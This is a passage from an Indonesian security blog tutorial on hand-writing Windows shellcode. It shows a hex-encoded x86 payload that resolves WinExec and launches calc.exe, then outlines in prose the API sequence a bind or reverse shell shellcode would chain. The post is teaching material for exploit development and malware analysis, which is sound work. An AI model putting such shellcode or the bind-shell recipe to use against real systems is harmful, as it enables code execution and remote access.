\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b\x14\x8b\x1b\x8b\x1b\x8b\x43\x10\x89\x45\xfc\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2\x52\xff\xd0
tom@WinDev2007Eval:/mnt/c/Users/User/Desktop/shellcode-build$
Hasil eksekusi yang sama untuk shellcode calc.exe sebelumnya dalam bentuk generik

Shellcode Bind/Reverse

Lalu bagaimana dengan shellcode reverse shell maupun bind shell? Pada dasarnya proses awalnya akan sama, yaitu mencari alamat dasar dari modul yang fungsinya akan dipanggil, lalu melakukan resolve alamat dari fungsi tersebut dan memanggilnya satu per satu. Pada shellcode bind shell misalkan, yang perlu dirangkai adalah:

  1. Mencari alamat dasar dari modul ws2_32.dll yang mengandung:
    • closesocket()
    • accept()
    • listen()
    • bind()
    • connect()
    • WSASocketA()
    • WSAStartup()
    • WSAGetLastError()
  2. Mencari alamat dasar dari modul kernel32.dll yang mengandung:
    • LoadLibraryA()
    • ExitProcess()
    • WaitForSingleObject()
    • CreateProcessA()
    • SetStdHandle()
  3. Mencari alamat dasar dari modul msvcrt.dll yang memiliki fungsi system()
  4. Melakukan kalkulasi offset untuk masing-masing fungsi dari modul tersebut (modul+offset fungsi() = alamat fungsi())
  5. Mengisi parameter yang dibutuhkan untuk fungsi-fungsi tersebut
  6. Memanggil fungsi tersebut beserta parameter dari tiap fungsi dimulai dari LoadLibraryA(), WSAStartup(), WSASocket() yang kemudian diikuti oleh subfungsi bind(), listen(), accept(), SetStdHandle(), lalu ditutup dengan memanggil fungsi system() di modul msvcrt.dll.

Terbayang betapa rumitnya merangkai semua proses di atas? Setuju! Namun bagi para pembaca yang ingin membuat shellcode bind/reverse sendiri, saya tinggalkan sebagai challenge 🙂

Kesimpulan

Dengan adanya tulisan ini, setidaknya kita memahami bagaimana cara kerja sebuah shellcode sehingga apabila ada kondisi yang memaksa kita untuk membuat atau mungkin menganalisis sebuah shellcode (misalkan shellcode dari sebuah malware), tulisan ini mudah-mudahan dapat membantu para pembaca sekalian. Membuat shellcode sendiri memang memaksa kita untuk berinteraksi lebih jauh dengan bahasa rakitan/mesin dan memahami bagaimana informasi dari image executable dapat dimanfaatkan untuk membuat sebuah shellcode yang generic.

Tentu saja untuk kasus-kasus tertentu yang membutuhkan penyelesaian yang cepat dan dapat diandalkan, saya tetap menggunakan Metasploit.

Referensi

modpr0be
modpr0be

Posisi saya saat ini sebagai direktur dan pemilik PT Spentera, sebuah perusahaan yang fokus dalam bidang penetration test, incident response, intrusion analysis and forensic investigation.

Saya juga berkontribusi untuk repositori eksploit Metasploit Framework sebagai pengembang kode eksploit. Saat ini memegang sertifikasi dari Offensive Security Certified Professional (OSCP), Offensive Security Certified Expert (OSCE), ISO/IEC ISMS 27001: 2013 Lead Auditor/Auditor, GIAC Certified Intrusion Analyst (GCIA), dan Offensive Security Exploitation Expert (OSEE).

Jika ingin menghubungi saya dapat melalui email bisnis di tom at spentera dot id atau pribadi di me at modpr0 dot be

Articles: 64

One comment

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.